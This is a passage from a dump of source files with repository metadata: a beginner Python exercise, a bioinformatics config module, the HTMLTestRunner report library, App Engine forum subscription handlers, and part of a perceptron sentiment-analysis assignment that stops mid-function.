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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
858bc22aea140d82eae560c6b2ca454e35766658 | 6c595cbef3febe25c006cb1f00db71f4ab7c748d | /Exercícios/Mundo03ex/ex103.py | 3e4bfebeb4ff3b4d34134e272f495baaba613005 | [] | no_license | RianRBPS/PythonMundos | cd43a437ac76e3c73903f897b1afc77d2f28fee8 | 39d50696ef9e691b5bddb0cdfea315a9bd872c30 | refs/heads/master | 2023-07-19T04:22:50.284964 | 2021-08-02T17:28:53 | 2021-08-02T17:28:53 | 374,453,004 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 307 | py | def ficha(jog = '<desconhecido>', gol=0):
print(f'O jogador {jog} fez {gol} gol(s) no campeonato')
# Programa principal
n = str(input('Nome do jogador: '))
g = str(input('Número de Gols: '))
if g.isnumeric():
g = int(g)
else:
g = 0
if n.strip() == '':
ficha(gol = g)
else:
ficha(n, g) | [
"[email protected]"
] | |
34c6643610e0262186efddf7e66964d6a48b9e19 | 2c7537609a376db7bd839d3c9af44fa3d24c7d32 | /helpers/manuscript_parameters.py | 265b56f0142029b0c75259a33ff0db4a84e4a5d8 | [] | no_license | massyah/LINK | cf87a35c97fb6a9f4bd63e8f5c3789cbcf20c446 | 0d2ee835bb4a03c2e90271cf48adccfb9e38a804 | refs/heads/master | 2016-09-05T20:02:16.896527 | 2013-12-08T17:51:14 | 2013-12-08T17:51:14 | 10,078,229 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,093 | py | # Global variables
import os,sys
LINKROOT=os.path.split(os.path.dirname(os.path.realpath(__file__)))[0]
sys.path.append(LINKROOT+"/helpers")
sys.path.append(LINKROOT+"/model")
from link_logger import logger
## BioInformatics article corpus variant
lsi_dims=1000
with_genia=0
with_mesh=True
with_stemmer=True
pid_np_only=False
verbose_inference=True
# STRING_W=0.30
# FILTER_THR=0.5
# WITH_COMBINED_MST=True
# SCORE_WITH_PROT=False
# MST_SCORE_LSI_WEIGHT=100000 # Only if SCORE_WITH_PROT
# MST_ON_HPRD_WEIGHTED=True
# MST_ON_HPRD=True
# STRING_MST_W=10
# if 'THREAD_ID' not in globals():
# print 'using default THREAD_ID'
THREAD_ID=os.getpid()
# FROM Sace
STRING_W=0.30
FILTER_THR=0.45 #120, 100, 28, 60
USE_CLUSTERING=False
BUNCH_SIZE=10
WITH_COMBINED_MST=True
MST_SCORE_LSI_WEIGHT=100000
SCORE_WITH_PROT=False
MST_ON_HPRD=True
MST_ON_HPRD_WEIGHTED=True
BACKGROUND_DEFAULT_WEIGHT=1
STRING_MST_W=0.001
STRING_DEFAULT_SCORE=10
FILTER_THR_AVG_ANNOT=2.1
USE_STRING_THR=-1 # Number of edges after wich we dot not combine with STRING. -1 to always combine
BACKGROUND_CONTAINS_NP=True
| [
"[email protected]"
] | |
251bd53ed38386cdac479e21d18274672cace101 | 4b16d38a4cccaf081d5ade5b42a5521d652469ba | /HTMLTestRunner.py | a57c4c3024fd05b68593211f25dc44e4a4d4efa0 | [] | no_license | chenya1123236324/auto_request | e4f399bd700a8cf35ecc9aa97de87e3b271fe14e | 27e9b97a91402e5b386d2bbdc69cc892e015599a | refs/heads/master | 2023-06-17T13:57:32.399122 | 2021-07-13T06:47:05 | 2021-07-13T06:47:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 26,914 | py | """
A TestRunner for use with the Python unit testing framework. It
generates a HTML report to show the result at a glance.
The simplest way to use this is to invoke its main method. E.g.
import unittest
import HTMLTestRunner
... define your tests ...
if __name__ == '__main__':
HTMLTestRunner.main()
For more customization options, instantiates a HTMLTestRunner object.
HTMLTestRunner is a counterpart to unittest's TextTestRunner. E.g.
# output to a file
fp = file('my_report.html', 'wb')
runner = HTMLTestRunner.HTMLTestRunner(
stream=fp,
title='My unit test',
description='This demonstrates the report output by HTMLTestRunner.'
)
# Use an external stylesheet.
# See the Template_mixin class for more customizable options
runner.STYLESHEET_TMPL = '<link rel="stylesheet" href="my_stylesheet.css" type="text/css">'
# run the test
runner.run(my_test_suite)
------------------------------------------------------------------------
Copyright (c) 2004-2007, Wai Yip Tung
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name Wai Yip Tung nor the names of its contributors may be
used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
# URL: http://tungwaiyip.info/software/HTMLTestRunner.html
__author__ = "Wai Yip Tung , bugmaster"
__version__ = "0.8.2"
"""
Change History
Version 0.8.2
* Show output inline instead of popup window (Viorel Lupu).
Version in 0.8.1
* Validated XHTML (Wolfgang Borgert).
* Added description of test classes and test cases.
Version in 0.8.0
* Define Template_mixin class for customization.
* Workaround a IE 6 bug that it does not treat <script> block as CDATA.
Version in 0.7.1
* Back port to Python 2.3 (Frank Horowitz).
* Fix missing scroll bars in detail log (Podi).
"""
# TODO: color stderr
# TODO: simplify javascript using ,ore than 1 class in the class attribute?
import datetime
import io
import sys
import time
import unittest
from xml.sax import saxutils
# ------------------------------------------------------------------------
# The redirectors below are used to capture output during testing. Output
# sent to sys.stdout and sys.stderr are automatically captured. However
# in some cases sys.stdout is already cached before HTMLTestRunner is
# invoked (e.g. calling logging.basicConfig). In order to capture those
# output, use the redirectors for the cached stream.
#
# e.g.
# >>> logging.basicConfig(stream=HTMLTestRunner.stdout_redirector)
# >>>
class OutputRedirector(object):
""" Wrapper to redirect stdout or stderr """
def __init__(self, fp):
self.fp = fp
def write(self, s):
self.fp.write(s)
def writelines(self, lines):
self.fp.writelines(lines)
def flush(self):
self.fp.flush()
stdout_redirector = OutputRedirector(sys.stdout)
stderr_redirector = OutputRedirector(sys.stderr)
# ----------------------------------------------------------------------
# Template
class Template_mixin(object):
"""
Define a HTML template for report customerization and generation.
Overall structure of an HTML report
HTML
+------------------------+
|<html> |
| <head> |
| |
| STYLESHEET |
| +----------------+ |
| | | |
| +----------------+ |
| |
| </head> |
| |
| <body> |
| |
| HEADING |
| +----------------+ |
| | | |
| +----------------+ |
| |
| REPORT |
| +----------------+ |
| | | |
| +----------------+ |
| |
| ENDING |
| +----------------+ |
| | | |
| +----------------+ |
| |
| </body> |
|</html> |
+------------------------+
"""
STATUS = {
0: 'pass',
1: 'fail',
2: 'error',
}
DEFAULT_TITLE = 'Unit Test Report'
DEFAULT_DESCRIPTION = ''
# ------------------------------------------------------------------------
# HTML Template
HTML_TMPL = r"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>%(title)s</title>
<meta name="generator" content="%(generator)s"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<link rel="stylesheet" href="http://cdn.bootcss.com/bootstrap/3.3.0/css/bootstrap.min.css">
<script src="http://cdn.bootcss.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
<script src="http://apps.bdimg.com/libs/Chart.js/0.2.0/Chart.min.js"></script>
<!-- <link href="https://cdn.bootcss.com/echarts/3.8.5/echarts.common.min.js" rel="stylesheet"> -->
%(stylesheet)s
</head>
<body>
<script language="javascript" type="text/javascript"><!--
output_list = Array();
/* level - 0:Summary; 1:Failed; 2:All */
function showCase(level) {
trs = document.getElementsByTagName("tr");
for (var i = 0; i < trs.length; i++) {
tr = trs[i];
id = tr.id;
if (id.substr(0,2) == 'ft') {
if (level < 1) {
tr.className = 'hiddenRow';
}
else {
tr.className = '';
}
}
if (id.substr(0,2) == 'pt') {
if (level > 1) {
tr.className = '';
}
else {
tr.className = 'hiddenRow';
}
}
}
}
function showClassDetail(cid, count) {
var id_list = Array(count);
var toHide = 1;
for (var i = 0; i < count; i++) {
tid0 = 't' + cid.substr(1) + '.' + (i+1);
tid = 'f' + tid0;
tr = document.getElementById(tid);
if (!tr) {
tid = 'p' + tid0;
tr = document.getElementById(tid);
}
id_list[i] = tid;
if (tr.className) {
toHide = 0;
}
}
for (var i = 0; i < count; i++) {
tid = id_list[i];
if (toHide) {
document.getElementById('div_'+tid).style.display = 'none'
document.getElementById(tid).className = 'hiddenRow';
}
else {
document.getElementById(tid).className = '';
}
}
}
function showTestDetail(div_id){
var details_div = document.getElementById(div_id)
var displayState = details_div.style.display
// alert(displayState)
if (displayState != 'block' ) {
displayState = 'block'
details_div.style.display = 'block'
}
else {
details_div.style.display = 'none'
}
}
function html_escape(s) {
s = s.replace(/&/g,'&');
s = s.replace(/</g,'<');
s = s.replace(/>/g,'>');
return s;
}
/* obsoleted by detail in <div>
function showOutput(id, name) {
var w = window.open("", //url
name,
"resizable,scrollbars,status,width=800,height=450");
d = w.document;
d.write("<pre>");
d.write(html_escape(output_list[id]));
d.write("\n");
d.write("<a href='javascript:window.close()'>close</a>\n");
d.write("</pre>\n");
d.close();
}
*/
--></script>
%(heading)s
%(report)s
%(ending)s
%(chart_script)s
</body>
</html>
"""
# variables: (title, generator, stylesheet, heading, report, ending)
# ------------------------------------------------------------------------
# Stylesheet
#
# alternatively use a <link> for external style sheet, e.g.
# <link rel="stylesheet" href="$url" type="text/css">
STYLESHEET_TMPL = """
<style type="text/css" media="screen">
body { font-family: verdana, arial, helvetica, sans-serif; font-size: 80%; }
table { font-size: 100%; }
pre { }
/* -- heading ---------------------------------------------------------------------- */
h1 {
font-size: 16pt;
color: gray;
}
.heading {
margin-top: 0ex;
margin-bottom: 1ex;
margin-left: 10px;
}
.heading .attribute {
margin-top: 1ex;
margin-bottom: 0;
}
.heading .description {
margin-top: 4ex;
margin-bottom: 6ex;
}
/* -- css div popup ------------------------------------------------------------------------ */
a.popup_link {
}
a.popup_link:hover {
color: red;
}
.popup_window {
display: none;
position: relative;
left: 0px;
top: 0px;
/*border: solid #627173 1px; */
font-family: "Lucida Console", "Courier New", Courier, monospace;
text-align: left;
font-size: 8pt;
width: 500px;
}
}
/* -- report ------------------------------------------------------------------------ */
#show_detail_line {
margin-top: 3ex;
margin-bottom: 1ex;
margin-left: 10px;
}
#result_table {
width: 80%;
border-collapse: collapse;
border: 1px solid #777;
margin-left: 10px;
}
#header_row {
font-weight: bold;
color: #606060;
background-color: #f5f5f5;
border-top-width: 10px;
border-color: #d6e9c6;
font-size: 12px;
}
#result_table td {
border: 1px solid #f5f5f5;
padding: 2px;
}
#total_row { font-weight: bold; }
.passClass { background-color: #d6e9c6; }
.failClass { background-color: #faebcc; }
.errorClass { background-color: #ebccd1; }
.passCase { color: #6c6; }
.failCase { color: #c60; font-weight: bold; }
.errorCase { color: #c00; font-weight: bold; }
.hiddenRow { display: none; }
.testcase { margin-left: 2em; }
/* -- ending ---------------------------------------------------------------------- */
#ending {
}
/* -- chars ---------------------------------------------------------------------- */
.testChars {margin-left: 150px;}
.btn-info1 {
color: #fff;
background-color: #d6e9c6;
border-color: #d6e9c6;
}
.btn-info2 {
color: #fff;
background-color: #faebcc;
border-color: #faebcc;
}
.btn-info3 {
color: #fff;
background-color: #ebccd1;
border-color: #ebccd1;
}
</style>
"""
# ------------------------------------------------------------------------
# Heading
#
HEADING_TMPL = """<div class='heading'>
<h1>%(title)s</h1>
%(parameters)s
<p class='description'>%(description)s</p>
</div>
<div style="float:left; margin-left: 10px;">
<p> 测试用例饼状图 </p>
<a class="btn btn-xs btn-info1">-Pass-</a><br>
<a class="btn btn-xs btn-info2">-Faild-</a><br>
<a class="btn btn-xs btn-info3">-Error-</a><br>
</div>
<div class="testChars">
<canvas id="myChart" width="250" height="250"></canvas>
</div>
""" # variables: (title, parameters, description)
# ------------------------------------------------------------------------
# Pie chart
#
ECHARTS_SCRIPT = """
<script type="text/javascript">
var data = [
{
value: %(error)s,
color: "#ebccd1",
label: "Error",
labelColor: 'white',
labelFontSize: '16'
},
{
value : %(fail)s,
color : "#faebcc",
label: "Fail",
labelColor: 'white',
labelFontSize: '16'
},
{
value : %(Pass)s,
color : "#d6e9c6",
label : "Pass",
labelColor: 'white',
labelFontSize: '16'
}
]
var newopts = {
animationSteps: 100,
animationEasing: 'easeInOutQuart',
}
//Get the context of the canvas element we want to select
var ctx = document.getElementById("myChart").getContext("2d");
var myNewChart = new Chart(ctx).Pie(data,newopts);
</script>
"""
HEADING_ATTRIBUTE_TMPL = """<p class='attribute'><strong>%(name)s:</strong> %(value)s</p>
""" # variables: (name, value)
# ------------------------------------------------------------------------
# Report
#
REPORT_TMPL = """
<p id='show_detail_line' style="margin-left: 10px;">Show
<a href='javascript:showCase(0)' class="btn btn-xs btn-primary">Summary</a>
<a href='javascript:showCase(1)' class="btn btn-xs btn-danger">Failed</a>
<a href='javascript:showCase(2)' class="btn btn-xs btn-info">All</a>
</p>
<table id='result_table'>
<colgroup>
<col align='left' />
<col align='right' />
<col align='right' />
<col align='right' />
<col align='right' />
<col align='right' />
</colgroup>
<tr id='header_row' class="panel-title">
<td>Test Group/Test case</td>
<td>Count</td>
<td>Pass</td>
<td>Fail</td>
<td>Error</td>
<td>View</td>
</tr>
%(test_list)s
<tr id='total_row'>
<td>Total</td>
<td>%(count)s</td>
<td class="text text-success">%(Pass)s</td>
<td class="text text-danger">%(fail)s</td>
<td class="text text-warning">%(error)s</td>
<td> </td>
</tr>
</table>
""" # variables: (test_list, count, Pass, fail, error)
REPORT_CLASS_TMPL = r"""
<tr class='%(style)s'>
<td>%(desc)s</td>
<td>%(count)s</td>
<td>%(Pass)s</td>
<td>%(fail)s</td>
<td>%(error)s</td>
<td><a href="javascript:showClassDetail('%(cid)s',%(count)s)">Detail</a></td>
</tr>
""" # variables: (style, desc, count, Pass, fail, error, cid)
REPORT_TEST_WITH_OUTPUT_TMPL = r"""
<tr id='%(tid)s' class='%(Class)s'>
<td class='%(style)s'><div class='testcase'>%(desc)s</div></td>
<td colspan='5' align='center'>
<!--css div popup start-->
<a class="popup_link" onfocus='this.blur();' href="javascript:showTestDetail('div_%(tid)s')" >
%(status)s</a>
<div id='div_%(tid)s' class="popup_window">
<div style='text-align: right; color:red;cursor:pointer'>
<a onfocus='this.blur();' onclick="document.getElementById('div_%(tid)s').style.display = 'none' " >
[x]</a>
</div>
<pre>
%(script)s
</pre>
</div>
<!--css div popup end-->
</td>
</tr>
""" # variables: (tid, Class, style, desc, status)
REPORT_TEST_NO_OUTPUT_TMPL = r"""
<tr id='%(tid)s' class='%(Class)s'>
<td class='%(style)s'><div class='testcase'>%(desc)s</div></td>
<td colspan='5' align='center'>%(status)s</td>
</tr>
""" # variables: (tid, Class, style, desc, status)
REPORT_TEST_OUTPUT_TMPL = r"""
%(id)s: %(output)s
""" # variables: (id, output)
# ------------------------------------------------------------------------
# ENDING
#
ENDING_TMPL = """<div id='ending'> </div>"""
# -------------------- The end of the Template class -------------------
TestResult = unittest.TestResult
class _TestResult(TestResult):
# note: _TestResult is a pure representation of results.
# It lacks the output and reporting ability compares to unittest._TextTestResult.
def __init__(self, verbosity=1):
TestResult.__init__(self)
self.stdout0 = None
self.stderr0 = None
self.success_count = 0
self.failure_count = 0
self.error_count = 0
self.verbosity = verbosity
# result is a list of result in 4 tuple
# (
# result code (0: success; 1: fail; 2: error),
# TestCase object,
# Test output (byte string),
# stack trace,
# )
self.result = []
def startTest(self, test):
TestResult.startTest(self, test)
# just one buffer for both stdout and stderr
self.outputBuffer = io.StringIO()
stdout_redirector.fp = self.outputBuffer
stderr_redirector.fp = self.outputBuffer
self.stdout0 = sys.stdout
self.stderr0 = sys.stderr
sys.stdout = stdout_redirector
sys.stderr = stderr_redirector
def complete_output(self):
"""
Disconnect output redirection and return buffer.
Safe to call multiple times.
"""
if self.stdout0:
sys.stdout = self.stdout0
sys.stderr = self.stderr0
self.stdout0 = None
self.stderr0 = None
return self.outputBuffer.getvalue()
def stopTest(self, test):
# Usually one of addSuccess, addError or addFailure would have been called.
# But there are some path in unittest that would bypass this.
# We must disconnect stdout in stopTest(), which is guaranteed to be called.
self.complete_output()
def addSuccess(self, test):
self.success_count += 1
TestResult.addSuccess(self, test)
output = self.complete_output()
self.result.append((0, test, output, ''))
if self.verbosity > 1:
sys.stderr.write('ok ')
sys.stderr.write(str(test))
sys.stderr.write('\n')
else:
sys.stderr.write('.'+str(self.success_count))
def addError(self, test, err):
self.error_count += 1
TestResult.addError(self, test, err)
_, _exc_str = self.errors[-1]
output = self.complete_output()
self.result.append((2, test, output, _exc_str))
if self.verbosity > 1:
sys.stderr.write('E ')
sys.stderr.write(str(test))
sys.stderr.write('\n')
else:
sys.stderr.write('E')
def addFailure(self, test, err):
self.failure_count += 1
TestResult.addFailure(self, test, err)
_, _exc_str = self.failures[-1]
output = self.complete_output()
self.result.append((1, test, output, _exc_str))
if self.verbosity > 1:
sys.stderr.write('F ')
sys.stderr.write(str(test))
sys.stderr.write('\n')
else:
sys.stderr.write('F')
class HTMLTestRunner(Template_mixin):
"""
"""
def __init__(self, stream=sys.stdout, verbosity=1, title=None, description=None):
self.stream = stream
self.verbosity = verbosity
if title is None:
self.title = self.DEFAULT_TITLE
else:
self.title = title
if description is None:
self.description = self.DEFAULT_DESCRIPTION
else:
self.description = description
self.startTime = datetime.datetime.now()
def run(self, test):
"Run the given test case or test suite."
result = _TestResult(self.verbosity)
test(result)
self.stopTime = datetime.datetime.now()
self.generateReport(test, result)
#print(sys.stderr, '\nTime Elapsed: %s' % (self.stopTime-self.startTime))
return result
def sortResult(self, result_list):
# unittest does not seems to run in any particular order.
# Here at least we want to group them together by class.
rmap = {}
classes = []
for n,t,o,e in result_list:
cls = t.__class__
if not cls in rmap:
rmap[cls] = []
classes.append(cls)
rmap[cls].append((n,t,o,e))
r = [(cls, rmap[cls]) for cls in classes]
return r
def getReportAttributes(self, result):
"""
Return report attributes as a list of (name, value).
Override this to add custom attributes.
"""
startTime = str(self.startTime)[:19]
duration = str(self.stopTime - self.startTime)
status = []
if result.success_count: status.append('Pass %s' % result.success_count)
if result.failure_count: status.append('Failure %s' % result.failure_count)
if result.error_count: status.append('Error %s' % result.error_count )
if status:
status = ' '.join(status)
else:
status = 'none'
return [
('开始测试时间', startTime),
('持续时间', duration),
('状态', status),
]
def generateReport(self, test, result):
report_attrs = self.getReportAttributes(result)
generator = 'HTMLTestRunner %s' % __version__
stylesheet = self._generate_stylesheet()
heading = self._generate_heading(report_attrs)
report = self._generate_report(result)
ending = self._generate_ending()
chart = self._generate_chart(result)
output = self.HTML_TMPL % dict(
title = saxutils.escape(self.title),
generator = generator,
stylesheet = stylesheet,
heading = heading,
report = report,
ending = ending,
chart_script = chart,
)
self.stream.write(output.encode('utf8'))
def _generate_stylesheet(self):
return self.STYLESHEET_TMPL
def _generate_heading(self, report_attrs):
a_lines = []
for name, value in report_attrs:
line = self.HEADING_ATTRIBUTE_TMPL % dict(
name = saxutils.escape(name),
value = saxutils.escape(value),
)
a_lines.append(line)
heading = self.HEADING_TMPL % dict(
title = saxutils.escape(self.title),
parameters = ''.join(a_lines),
description = saxutils.escape(self.description),
)
return heading
def _generate_report(self, result):
rows = []
sortedResult = self.sortResult(result.result)
for cid, (cls, cls_results) in enumerate(sortedResult):
# subtotal for a class
np = nf = ne = 0
for n,t,o,e in cls_results:
if n == 0: np += 1
elif n == 1: nf += 1
else: ne += 1
# format class description
if cls.__module__ == "__main__":
name = cls.__name__
else:
name = "%s.%s" % (cls.__module__, cls.__name__)
doc = cls.__doc__ and cls.__doc__.split("\n")[0] or ""
desc = doc and '%s: %s' % (name, doc) or name
row = self.REPORT_CLASS_TMPL % dict(
style = ne > 0 and 'errorClass' or nf > 0 and 'failClass' or 'passClass',
desc = desc,
count = np+nf+ne,
Pass = np,
fail = nf,
error = ne,
cid = 'c%s' % (cid+1),
)
rows.append(row)
for tid, (n,t,o,e) in enumerate(cls_results):
self._generate_report_test(rows, cid, tid, n, t, o, e)
report = self.REPORT_TMPL % dict(
test_list = ''.join(rows),
count = str(result.success_count+result.failure_count+result.error_count),
Pass = str(result.success_count),
fail = str(result.failure_count),
error = str(result.error_count),
)
return report
def _generate_chart(self, result):
chart = self.ECHARTS_SCRIPT % dict(
Pass=str(result.success_count),
fail=str(result.failure_count),
error=str(result.error_count),
)
return chart
def _generate_report_test(self, rows, cid, tid, n, t, o, e):
# e.g. 'pt1.1', 'ft1.1', etc
has_output = bool(o or e)
tid = (n == 0 and 'p' or 'f') + 't%s.%s' % (cid+1,tid+1)
name = t.id().split('.')[-1]
doc = t.shortDescription() or ""
desc = doc and ('%s: %s' % (name, doc)) or name
tmpl = has_output and self.REPORT_TEST_WITH_OUTPUT_TMPL or self.REPORT_TEST_NO_OUTPUT_TMPL
# o and e should be byte string because they are collected from stdout and stderr?
if isinstance(o,str):
# TODO: some problem with 'string_escape': it escape \n and mess up formating
# uo = unicode(o.encode('string_escape'))
uo = o
else:
uo = o
if isinstance(e,str):
# TODO: some problem with 'string_escape': it escape \n and mess up formating
# ue = unicode(e.encode('string_escape'))
ue = e
else:
ue = e
script = self.REPORT_TEST_OUTPUT_TMPL % dict(
id = tid,
output = saxutils.escape(uo+ue),
)
row = tmpl % dict(
tid = tid,
Class = (n == 0 and 'hiddenRow' or 'none'),
style = n == 2 and 'errorCase' or (n == 1 and 'failCase' or 'none'),
desc = desc,
script = script,
status = self.STATUS[n],
)
rows.append(row)
if not has_output:
return
def _generate_ending(self):
return self.ENDING_TMPL
##############################################################################
# Facilities for running tests from the command line
##############################################################################
# Note: Reuse unittest.TestProgram to launch test. In the future we may
# build our own launcher to support more specific command line
# parameters like test title, CSS, etc.
class TestProgram(unittest.TestProgram):
"""
A variation of the unittest.TestProgram. Please refer to the base
class for command line parameters.
"""
def runTests(self):
# Pick HTMLTestRunner as the default test runner.
# base class's testRunner parameter is not useful because it means
# we have to instantiate HTMLTestRunner before we know self.verbosity.
if self.testRunner is None:
self.testRunner = HTMLTestRunner(verbosity=self.verbosity)
unittest.TestProgram.runTests(self)
main = TestProgram
##############################################################################
# Executing this module from the command line
##############################################################################
if __name__ == "__main__":
main(module=None)
| [
"[email protected]"
] | |
ca67d64a8c926c8594e2d68c62ea3ca2756490c7 | 5dcf691743a8ab84fc55b8cd9f186b0ce713e258 | /handlers/subscription.py | 6a0e8a4979ba025ec17aa6bebf3f86cd0fcfea2e | [] | no_license | tilen323/wd2_forum_tilen | b6eb6a706c3c8e721a4edcc2cb3baac2f82b6fd5 | 83df56778726e49232e3fc34fe38d34ea779489a | refs/heads/master | 2021-01-21T10:34:35.408799 | 2017-04-15T08:20:27 | 2017-04-15T08:20:27 | 83,457,581 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,414 | py | from handlers.base import BaseHandler
from google.appengine.api import users, memcache
import uuid
from utils.decorators import validate_csrf
from models.subscription import Subscription
from models.topic import Topic
from models.user import User
class SubscriptionHandler(BaseHandler):
@validate_csrf
def post(self, topic_id):
topic = Topic.get_by_id(int(topic_id))
user = users.get_current_user()
Subscription.create_sub_or_resub(topic=topic, subscriber_email=user.email())
return self.redirect_to("topic", topic_id=topic.key.id())
class DeleteSubscriptionHandler(BaseHandler):
@validate_csrf
def post(self, topic_id):
topic = Topic.get_by_id(int(topic_id))
user = users.get_current_user()
Subscription.delete_sub(topic=topic, subscriber_email=user.email())
return self.redirect_to("topic", topic_id=topic.key.id())
class ForumSubscriptionHandler(BaseHandler):
@validate_csrf
def post(self, user_id):
user_profile = User.get_by_id(int(user_id))
User.subscribe_to_forum(user_profile=user_profile)
return self.redirect_to("main-page")
class ForumUnsubscribeHandler(BaseHandler):
@validate_csrf
def post(self, user_id):
user_profile = User.get_by_id(int(user_id))
User.unsubscribe_from_forum(user_profile=user_profile)
return self.redirect_to("main-page") | [
"[email protected]"
] | |
c21074123c683fc77f6d60038aea079bffcf44c3 | fdf797a0c89318c7e7b3ab160d2a3d56857ad13f | /sentiment_analysis/project1.py | 0a281f115ab6b1b6bc926f36557a600c1a744ae9 | [] | no_license | shinesha/ML_with_Python-Review-Sentiment-Analysis | 5e3a5d030830d6b7ee1ab08a64056bd95bbe43f9 | 533a914bc081b5763b99b493e234fe1678549e37 | refs/heads/main | 2023-04-02T14:04:46.399587 | 2021-04-03T18:49:25 | 2021-04-03T18:49:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,793 | py | from string import punctuation, digits
import numpy as np
import random
# Part I
#pragma: coderesponse template
def get_order(n_samples):
try:
with open(str(n_samples) + '.txt') as fp:
line = fp.readline()
return list(map(int, line.split(',')))
except FileNotFoundError:
random.seed(1)
indices = list(range(n_samples))
random.shuffle(indices)
return indices
#pragma: coderesponse end
#pragma: coderesponse template
def hinge_loss_single(feature_vector, label, theta, theta_0):
"""
Finds the hinge loss on a single data point given specific classification
parameters.
Args:
feature_vector - A numpy array describing the given data point.
label - A real valued number, the correct classification of the data
point.
theta - A numpy array describing the linear classifier.
theta_0 - A real valued number representing the offset parameter.
Returns: A real number representing the hinge loss associated with the
given data point and parameters.
"""
# Your code here
return max(0, 1 - label * (theta.T.dot(feature_vector) + theta_0))
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def hinge_loss_full(feature_matrix, labels, theta, theta_0):
"""
Finds the total hinge loss on a set of data given specific classification
parameters.
Args:
feature_matrix - A numpy matrix describing the given data. Each row
represents a single data point.
labels - A numpy array where the kth element of the array is the
correct classification of the kth row of the feature matrix.
theta - A numpy array describing the linear classifier.
theta_0 - A real valued number representing the offset parameter.
Returns: A real number representing the hinge loss associated with the
given dataset and parameters. This number should be the average hinge
loss across all of the points in the feature matrix.
"""
# Your code here
h_loss = 1 - labels * (np.dot(theta, feature_matrix.T) + theta_0)
h_loss[h_loss < 0] = 0
return h_loss.mean()
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def perceptron_single_step_update(
feature_vector,
label,
current_theta,
current_theta_0):
"""
Properly updates the classification parameter, theta and theta_0, on a
single step of the perceptron algorithm.
Args:
feature_vector - A numpy array describing a single data point.
label - The correct classification of the feature vector.
current_theta - The current theta being used by the perceptron
algorithm before this update.
current_theta_0 - The current theta_0 being used by the perceptron
algorithm before this update.
Returns: A tuple where the first element is a numpy array with the value of
theta after the current update has completed and the second element is a
real valued number with the value of theta_0 after the current updated has
completed.
"""
# Your code here
eps = 1e-8
agreement = float(label * (current_theta.dot(feature_vector) + current_theta_0))
if abs(agreement) < eps or agreement < 0: # 1st condition to check if = 0
current_theta = current_theta + label * feature_vector
current_theta_0 = current_theta_0 + label
return (current_theta, current_theta_0)
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def perceptron(feature_matrix, labels, T):
"""
Runs the full perceptron algorithm on a given set of data. Runs T
iterations through the data set, there is no need to worry about
stopping early.
NOTE: Please use the previously implemented functions when applicable.
Do not copy paste code from previous parts.
NOTE: Iterate the data matrix by the orders returned by get_order(feature_matrix.shape[0])
Args:
feature_matrix - A numpy matrix describing the given data. Each row
represents a single data point.
labels - A numpy array where the kth element of the array is the
correct classification of the kth row of the feature matrix.
T - An integer indicating how many times the perceptron algorithm
should iterate through the feature matrix.
Returns: A tuple where the first element is a numpy array with the value of
theta, the linear classification parameter, after T iterations through the
feature matrix and the second element is a real number with the value of
theta_0, the offset classification parameter, after T iterations through
the feature matrix.
"""
# Your code here
current_theta = np.zeros(feature_matrix.shape[1])
current_theta_0 = 0.0
for t in range(T):
for i in get_order(feature_matrix.shape[0]):
current_theta, current_theta_0 = \
perceptron_single_step_update(feature_matrix[i, :], labels[i], current_theta, current_theta_0)
return (current_theta, current_theta_0)
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def average_perceptron(feature_matrix, labels, T):
"""
Runs the average perceptron algorithm on a given set of data. Runs T
iterations through the data set, there is no need to worry about
stopping early.
NOTE: Please use the previously implemented functions when applicable.
Do not copy paste code from previous parts.
NOTE: Iterate the data matrix by the orders returned by get_order(feature_matrix.shape[0])
Args:
feature_matrix - A numpy matrix describing the given data. Each row
represents a single data point.
labels - A numpy array where the kth element of the array is the
correct classification of the kth row of the feature matrix.
T - An integer indicating how many times the perceptron algorithm
should iterate through the feature matrix.
Returns: A tuple where the first element is a numpy array with the value of
the average theta, the linear classification parameter, found after T
iterations through the feature matrix and the second element is a real
number with the value of the average theta_0, the offset classification
parameter, found after T iterations through the feature matrix.
Hint: It is difficult to keep a running average; however, it is simple to
find a sum and divide.
"""
# Your code here
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def pegasos_single_step_update(
feature_vector,
label,
L,
eta,
current_theta,
